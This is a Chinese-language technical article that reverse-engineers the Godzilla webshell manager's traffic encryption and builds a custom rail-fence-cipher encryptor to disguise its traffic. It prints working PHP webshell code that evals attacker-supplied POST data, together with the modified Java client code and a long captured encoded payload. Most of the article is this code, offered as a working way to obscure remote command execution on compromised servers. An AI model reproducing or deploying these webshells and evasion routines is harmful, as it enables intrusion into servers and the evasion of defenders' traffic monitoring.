文章 - Godzilla栅栏加密混淆流量

0x01哥斯拉混淆代码分析

通过burp代理流量会发现哥斯拉在测试连接时会发送两个包

第一个包用于服务器上创建Session，将哥斯拉的模块函数存储在Session中(混淆流量行为首先发生在第一个包发送之前)

第二个包的作用就是检查木马是否能连接

通过全局搜索测试连接的unicode编码字符串(\u6d4b\u8bd5\u8fde\u63a5)定位逻辑代码位置，定位在\core\ui\component\frame\ShellSetting.java中

通过搜索testButton关键字发现了click按钮逻辑代码，里面含有显示Success的代码

修改Success改为Success by ming重新构建一下jar包测试一下(需要修改ShellSetting.java文件，不然报毒)

没有问题

那么就确定了代码位置，该接口使用了两个方法 updatetempshellentity以及 initShellOpertion

private void testButtonClick(ActionEvent actionEvent) {
    if (this.updateTempShellEntity()) {
        if (this.shellContext.initShellOpertion()) {
            GOptionPane.showMessageDialog(this, "Success by ming!", "\u63d0\u793a", 1);
            Log.log(String.format("CloseShellState: %s\tShellId: %s\tShellHash: %s", this.shellContext.getPayloadModule().close(), this.shellContext.getId(), this.shellContext.hashCode()), new Object[0]);
        } else {
            GOptionPane.showMessageDialog(this, "initShellOpertion Fail", "\u63d0\u793a", 2);
        }
    } else {
        GOptionPane.showMessageDialog(this, this.error, "\u63d0\u793a", 2);
        this.error = null;
    }
}

updatetempshellentity这个方法是在参数赋值

private boolean updateTempShellEntity() {
    String url = this.urlTextField.getText();
    String password = this.passwordTextField.getText();
    String secretKey = this.secretKeyTextField.getText();
    String payload = (String)this.payloadComboBox.getSelectedItem();
    String cryption = (String)this.cryptionComboBox.getSelectedItem();
    String encoding = (String)this.encodingComboBox.getSelectedItem();
    String headers = this.headersTextArea.getText();
    String reqLeft = this.leftTextArea.getText();
    String reqRight = this.rightTextArea.getText();
    String proxyType = (String)this.proxyComboBox.getSelectedItem();
    String proxyHost = this.proxyHostTextField.getText();
    String remark = this.remarkTextField.getText();
    int proxyPort = 8888;
    int connTimeout = 30000;
    int readTimeout = 30000;
    try {
        proxyPort = Integer.parseInt(this.proxyPortTextField.getText());
        connTimeout = Integer.parseInt(this.connTimeOutTextField.getText());
        readTimeout = Integer.parseInt(this.readTimeOutTextField.getText());
    } catch (Exception e) {
        Log.error(e);
        this.error = e.getMessage();
        return false;
    }
    if (url != null && url.trim().length() > 0 && password != null && password.trim().length() > 0 && secretKey != null && secretKey.trim().length() > 0 && payload != null && payload.trim().length() > 0 && cryption != null && cryption.trim().length() > 0 && encoding != null && encoding.trim().length() > 0) {
        this.shellContext.setUrl(url == null ? "" : url);
        this.shellContext.setPassword(password == null ? "" : password);
        this.shellContext.setSecretKey(secretKey == null ? "" : secretKey);
        this.shellContext.setPayload(payload == null ? "" : payload);
        this.shellContext.setCryption(cryption == null ? "" : cryption);
        this.shellContext.setEncoding(encoding == null ? "" : encoding);
        this.shellContext.setHeader(headers == null ? "" : headers);
        this.shellContext.setReqLeft(reqLeft == null ? "" : reqLeft);
        this.shellContext.setReqRight(reqRight == null ? "" : reqRight);
        this.shellContext.setConnTimeout(connTimeout);
        this.shellContext.setReadTimeout(readTimeout);
        this.shellContext.setProxyType(proxyType == null ? "" : proxyType);
        this.shellContext.setProxyHost(proxyHost == null ? "" : proxyHost);
        this.shellContext.setProxyPort(proxyPort);
        this.shellContext.setRemark(remark == null ? "" : remark);
        return true;
    }
    this.error = "\u8bf7\u68c0\u67e5  url password secretKey payload cryption encoding \u662f\u5426\u586b\u5199\u5b8c\u6574";
    return false;
}

流量行为代码位于initShellOpertion方法中

public boolean initShellOpertion() {
    boolean state = false;

    try {
        this.http = ApplicationContext.getHttp(this);
        if (this.isUseCache()) {
            this.payloadModel = CachePayload.openUseCachePayload(this, ApplicationContext.getPayload(this.payload).getClass());
            if (this.payloadModel != null) {
                this.payloadModel.init(this);
                return true;
            } else {
                return false;
            }
        } else {
            if (ApplicationContext.isOpenCache()) {
                this.payloadModel = CachePayload.openCachePayload(this, ApplicationContext.getPayload(this.payload).getClass());
            } else {
                this.payloadModel = ApplicationContext.getPayload(this.payload);
            }

            this.cryptionModel = ApplicationContext.getCryption(this.payload, this.cryption);
            this.cryptionModel.init(this);
            if (this.cryptionModel.check()) {
                this.payloadModel.init(this);
                if (this.payloadModel.test()) {
                    state = true;
                } else {
                    Log.error("payload Initialize Fail !");
                }
            } else {
                Log.error("cryption Initialize Fail !");
            }

            return state;
        }
    } catch (Throwable var5) {
        Log.error(var5);
        ByteArrayOutputStream stream = new ByteArrayOutputStream();
        PrintStream printStream = new PrintStream(stream);
        var5.printStackTrace(printStream);
        printStream.flush();
        printStream.close();
        Log.log(new String(stream.toByteArray()), new Object[0]);
        return state;
    }
}

远程调试jar包定位混淆器模块代码位置

在ApplicationContext.java的getCryption方法会根据选择的加载器名字加载混淆类

public static Cryption getCryption(String payloadName, String crytionName) {
    HashMap<String, Class<?>> cryptionSrcMap = (HashMap)cryptionMap.get(payloadName);
    if (cryptionSrcMap != null) {
        Class<?> cryptionClass = (Class)cryptionSrcMap.get(crytionName);
        if (cryptionMap != null) {
            CryptionAnnotation cryptionAnnotation = (CryptionAnnotation)cryptionClass.getAnnotation(CryptionAnnotation.class);
            if (cryptionAnnotation.payloadName().equals(payloadName)) {
                Cryption cryption = null;

                try {
                    cryption = (Cryption)cryptionClass.newInstance();
                    return cryption;
                } catch (Exception var7) {
                    Log.error(var7);
                    return null;
                }
            }
        }
    }

PHP_XOR_BASE64代码文件如下

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package shells.cryptions.phpXor;

import core.annotation.CryptionAnnotation;
import core.imp.Cryption;
import core.shell.ShellEntity;
import java.net.URLEncoder;
import util.Log;
import util.functions;
import util.http.Http;

@CryptionAnnotation(
    Name = "PHP_XOR_BASE64",
    payloadName = "PhpDynamicPayload"
)
public class PhpXor implements Cryption {
    private ShellEntity shell;
    private Http http;
    private byte[] key;
    private boolean state;
    private String pass;
    private byte[] payload;
    private String findStrLeft;
    private String findStrRight;

    public PhpXor() {
    }

    public void init(ShellEntity context) {
        this.shell = context;
        this.http = this.shell.getHttp();
        this.key = this.shell.getSecretKeyX().getBytes();
        this.pass = this.shell.getPassword();
        String findStrMd5 = functions.md5(this.pass + new String(this.key));
        this.findStrLeft = findStrMd5.substring(0, 16);
        this.findStrRight = findStrMd5.substring(16);

        try {
            this.payload = this.shell.getPayloadModule().getPayload();
            if (this.payload != null) {
                this.http.sendHttpResponse(this.payload);
                this.state = true;
            } else {
                Log.error("payload Is Null");
            }

        } catch (Exception var4) {
            Log.error(var4);
        }
    }

    public byte[] encode(byte[] data) {
        try {
            return this.E(data);   //加密逻辑通过E方法实现
        } catch (Exception var3) {
            Log.error(var3);
            return null;
        }
    }

    public byte[] decode(byte[] data) {
        if (data != null && data.length > 0) {
            try {
                return this.D(this.findStr(data)); //解密过程通过D方法实现
            } catch (Exception var3) {
                Log.error(var3);
                return null;
            }
        } else {
            return data;
        }
    }

    public boolean isSendRLData() {
        return true;
    }

    public byte[] E(byte[] cs) {
        int len = cs.length;

        for(int i = 0; i < len; ++i) {
            cs[i] ^= this.key[i + 1 & 15];
        }                //异或加密

        return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();  //base64编码
    }

    public byte[] D(String data) {
        byte[] cs = functions.base64Decode(data);      //先base64解码
        int len = cs.length;

        for(int i = 0; i < len; ++i) {
            cs[i] ^= this.key[i + 1 & 15];              //再异或解密
        }

        return cs;
    }

    public String findStr(byte[] respResult) {
        String htmlString = new String(respResult);
        return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight);
    }

    public boolean check() {
        return this.state;
    }

    public byte[] generate(String password, String secretKey) {
        return Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), false);
    }
}

对应的木马文件：

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='{pass}';
$payloadName='payload';
$key='{secretKey}';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);        //先通过base64解码流量，在进行异或解密
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));       //执行run函数，将执行的结果先进行异或加密，在进行base64编码输出
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

所以这个流量的过程也就很明确了

1，哥斯拉客户端将明文流量先经过异或加密，再通过base64编码，发送到服务器木马文件处

2，木马文件先进行base64解码，在进行异或解密取出明文，执行run函数，将执行的结果先进行异或加密，在进行base64编码输出到哥斯拉客户端

3，哥斯拉客户端先经过base64解码，再进行异或解密取出明文数据

0x02编写混淆加密器

在Src目录下创建了一个混淆加密器测试案例，以php_xor_base64加密器为例进行修改即可，名字设为ming9，修改E与D方法设置为base64传输流量

public byte[] E(byte[] cs) {
    int len = cs.length;
    return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
}

public byte[] D(String data) {
    byte[] cs = functions.base64Decode(data);
    int len = cs.length;
    return cs;
}

修改base64.bin的加密逻辑，只保留base64编码解码内容，这个bin文件是用来Generate方法构建木马用的，异或加密解密我们在混淆器中删掉，对应的木马文件也就没有必要对异或进行处理了

重新build项目，构建jar包，生成木马放置再phpstudy网站下，选择ming9，将哥斯拉流量代理到burp上，测试连接

测试连接发送数据，发现即将存储到session中的函数流量仅仅只有base64加密了

也是可以成功连接的

0x03栅栏加密混淆

使哥斯拉客户端在发送流量前先经过base64编码，再进行栅栏加密(变量为3，对rails变量之前有定义)，再进行base64编码

服务器木马文件接收流量后先base64解码，再栅栏解密，最后base64解码，向哥斯拉客户端回复base64编码后的流量

客户端接收流量后进行base64解码还原明文

java代码如下

public byte[] E(byte[] cs) {

    String base64EncodedInitial = Base64.getEncoder().encodeToString(cs);
    int n = rails;
    StringBuilder[] railFence = new StringBuilder[n];
    for (int i = 0; i < n; i++) {
        railFence[i] = new StringBuilder();
    }
    int rail = 0;
    for (int i = 0; i < base64EncodedInitial.length(); i++) {
        railFence[rail].append(base64EncodedInitial.charAt(i));
        rail = (rail + 1) % n;
    }
    StringBuilder railFenceEncoded = new StringBuilder();
    for (int i = 0; i < n; i++) {
        railFenceEncoded.append(railFence[i].toString());
    }
    String finalBase64Encoded = Base64.getEncoder().encodeToString(railFenceEncoded.toString().getBytes());
    return (this.pass + "=" + finalBase64Encoded).getBytes();
}


public byte[] D(String data) {
    byte[] cs = functions.base64Decode(data);
    int len = cs.length;

    return cs;
}

base64.bin文件

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function decode($str){
        $n = 3;
        $length = strlen($str);
        $table = array();
        $quotient = (int)($length / $n);
        $remainder = $length % $n;
        for ($i = 0; $i < $n; $i++) {
            $table[$i] = array();
        }
        $index = 0;
        for ($i = 0; $i < $n; $i++) {
            $rowCount = $quotient + ($i < $remainder ? 1 : 0);
            for ($j = 0; $j < $rowCount; $j++) {
                $table[$i][$j] = $str[$index++];
            }
        }
        $decodedStr = "";
        for ($i = 0; $i < $quotient + 1; $i++) {
            for ($j = 0; $j < $n; $j++) {
                if (isset($table[$j][$i])) {
                    $decodedStr .= $table[$j][$i];
                }
            }
        }
        return $decodedStr;
}
$pass='{pass}';
$payloadName='payload';
$key='{secretKey}';
if (isset($_POST[$pass])){
    $data=base64_decode(decode(base64_decode($_POST[$pass])));
    if (isset($_SESSION[$payloadName])){
        $payload=($_SESSION[$payloadName]);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=$payload;
        }
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode((@run($data)));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=$data;
        }
    }
}

测试连接时burp抓的第一个报文中pass的值

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IgACYh0WbkgHLs5GYuxiDgACIgBQCgACfKAHbl0CIgBXcgBGT0ZWIy5FcpN2INACDgAmduRXOK0nYp4mZpV2Z0lQIgZGYldCZs5WKNACZol2boZGYllQIgAGIm5GbllHeiNmZiUSDgACIgBXcglVZf9GdoZGYlsiIgAWc7oCIgACZ14kIl13bhsiIgAQIg1HeKACIyRmIpUmIv5jCgBQDm5Gb1xWallQIgZGYldCZs5WKNACZsZHPlgmZhViDgAWKmx3dj5WcklUbsZGY1kTYzlQIgAEavgmZhUDN7oCIgJHbiswIg1HeKACIyRmIhwwIg0nC1NWIlRieKACa9VCaO1iDgAWKtRiZyAzd1kTYzlQIgAHdyA2OKAHbl0CIgBXcgZWOKAHCNZmau50bosiIklUb9VCalFSOKAGIAlVdf9GdoZGYlISPhNXCgACc0JCa7oCfsVQIgAHdyAmb7oCfK0QdjlidjllezNCZuR2YlsiIk1HblIiapdCZzJVdjlnK7oCao1HJpsiIgAGYykTCgBWZNACIgQXYfFCctxnetA3cv9XLkkQIg0CIlVidjllezMGb09mZml2bhxCdjlkbpYWYykGb09mZkkwfKpWdvBGQtFCeKAEYzFCOKACbM5Wdi1GZp0CImNncfZEXwETLp0CIgBHZ2JVPuVWKQRiIvN2YsNWLz92bi43czlicvliYu9WKNACZzsiIgAHdugESidGdiFCL7o2Z39XZztiakd1cPY0LpR3QvlGcTNWMX53U3JGb24zKNACDgAHcs0jCgBiI1NWX4N0Ky5GboNieKACIm5Gby5GboNCLkkwIgACIgYHY0gCMgkTIiYGb092a0VCdlYSJoV3bfh3RoVmXvcHI1NWX4N0KtlyK7oCIgACIgYHc0hWbug2bzICYzICIBNSDgACIgACIgRXP01mK59Xdt9XKgFyDgACIgACIgBGdih0ToBHI7RDdwIjKNACIgACIgAWK1NWX4N0KlJlbnkwIgACIgACIgAXbf9CIgkQIgACIgACIgxSDgACIgACIgACYsJDNwASIiAiIiIwIgACIgACI9oCIgACIgBHINACIgACIgAmduZHOKACIgACINACIgACIkVHIgZGZ0NnbzRXOKACIgACI1xmJtkQIgACIgAWKvRXIgIHCgACIgACIgVXIvRXDgACIgACfKACIgAQIgACIgVXIhNwIgACOKAHCKAGK1NWX4N0KzNWK7oCIgBXZoNEbsJCDgAWcphWdv9GdFgGcoUSDgACIyNHQhNHKjRWLyQwIg1HaoV3bfh3RoNWX4MSDgACIyNHQox2ZoNEbp0CIlNWZuR2ZpRXJ4MSDgACIlVCbM5CLyQwIgACczxWaoxib7oCfsVidjllezNCcw4SDgACIm1GZoNEbsITCgACdpUUZmRCeKACIgAHcs4GZzRCM0EjOKACI9oCIgB2coZTCgBWZmZmauVXc4dmXw4SDgACIw0HbfBiYklSYykSPhJScwcCJsITYyk3cnAyKglTCgACdpUUZmR1Xp0CIgACJlVCQnRCbxwDKwQwIgACDgACIoxCZvgWMpsiIgACIyNHPmVyab0TNxITCgACfKACIAN3KpsSDgACImx2JvJTCgACQyN2coAwIg1HaoV3KflVLskSImB2cfh3KD0SDgACI35yTod3cuhGKNACIgUHP4MGZpUwIgACc9UlZ1gwIgACczxjctJWbosiIgAHPl5GcosiIgAHcs4HLSFWK7oCfsViZuR2ZpRXIjR2ciYnYp5XczgnbsVWK7oCIgRWIi4ma7oCIglCZs9GdoNCeKACIgAGZiJia7oCIg0iIgAGbhRWP59Xdt9XKiIGZpIGINACIgJ3dpU3Xl9WXpgiIolSKpIGINACIgZGc0NnbzR2YklSYklSDgACI3RCcuxmapBQIgACIjNDDgACIgACJyMSchgWLiNEbgAmd0lSOKACIgACIjR2ZoNCJyMwIgACIgACIoBGZ3xGbgV2dpB2dvBGIhxmDgACIgACLgVXZlVXbghnIvRSY09GKlB2YkoCIgACIghCKNACIgAGZ1QQIgACIgAnY7oCIg0iIgAWKmx2a0gmd0lSeKACIgA2ZokQIgAHCgACJlVDaldFb05yczxmZ7oCIgBmboNWbGxTCgACQulyczxmZ7oiI9xWKkVWP1NWcvs1SF8CbM5SPhNSeKoCfsVQIgAHdyAmZvBmXw4GcoU2bfhyejVWcw40L1NWcvsGdfhychFGbi0CINACczxCIv9XYuVHKNACbf52ZukQCgBXcgJ3dN0mb09GZTwXCgAGeldCZUBiDgAGSz1XIi9COKACYvQ2KkBnKNACdl5WZ0JlZu1iDgAHc3JWdiJXdyIwIgRGVw1XI4NXI7oCJ4NWZ0JGUskQIgNXZ9VCYoJXKNACYyVEPlg3cuRiDgAnYp4Gcs9GKoNCb0R2btwGcvQGZUBCdy5GJxw2cllQIgACIIWunO0CIgA2b95yexkGcsVXYlRXdywicykQIgACIoNGblR2CgACagR2Lj5WXy9SDgACIgBXcgNmPv53ZyIQIgAHCgACagFXekhndp0CIgACJv4ndjF2KjF2KNACIg0CIgBiItRCdy5GKNACIgACbu5WYfIGclRiDgACINACIgJ3d9R2LxVScssiIgAWKj5TcvlQIgACIyRmJv4mcy0CIgBQIgAGIkh1c9JGdisiIgACIlViUlk0IuNmPmVGXvMibzFmdksiIgAWc7oCIgACZ002b7oCIgACasAGbtACZ1QmdoZWKp0CIgACIgRXLiNjZjRCb14mbpJCDgACIgBQIgACIkFSIusiIgACImgmd05Wc3ADINACIgACI3lSc30Hcs0mYfN2Kg0CIgACIgACblNCc3FCY1lQIgACIgACIgAGY9FTXu9SdsUid7oCIgACIgAHCgACIgACIgRGPcIQIgACIgAQIgACIg0CIgACc0JCYh0CIgBQIg0CI1NWI5F2Zoh3IwJCdl5WIwN2ZgVWelA3cuRCcsNXZpsiIgAGb9BXbj5WKoNiIk9CJzJWLkF3cp0CIgBiIj4HCgACIgJHbtNFcvgwIgACIsUwIgACIgYCb0g2clkwIgACIgAGcsNFayVCayVCbp0CIgACfKACIgAWKlBSYyVEK7oCIgACIgYGb092a0VCex9WYkIXCgACIgACIglWcsNGJ1JnYk9TCgACIgACZzlCdjllezNCbzx2Z0RieKACIgACIgBXbzx3ZoNnbEw2KNACIgACI9oCIgACDgACIgAmd00GcsFXKzwwIgACIgYCczxSDgACIgACc0JGcsVmK7oCIgACDgACIgBiJ4NXI9JGdiBQIgACIgAmduJWePwiex9mYl93Kj4ic3BmYlIQIgACI9V2eKACIgACIkRDIr4wIgACIgAGcokSOkAGcs5VasMHcskCKpsiIgACIgACJhESYlRWbl13Xpx2boJ3dgkSXi0CIgACIg0iIgACIgAGY9JiDgACIgACJv5SI5F2bydCZ1QwIgACIgAGIk9nIgkwIgACIgACI3lSJvAGcsZGXvgmd0kwIgACIgACIgAmZjgmIzRWZg0CIgACIgACIgA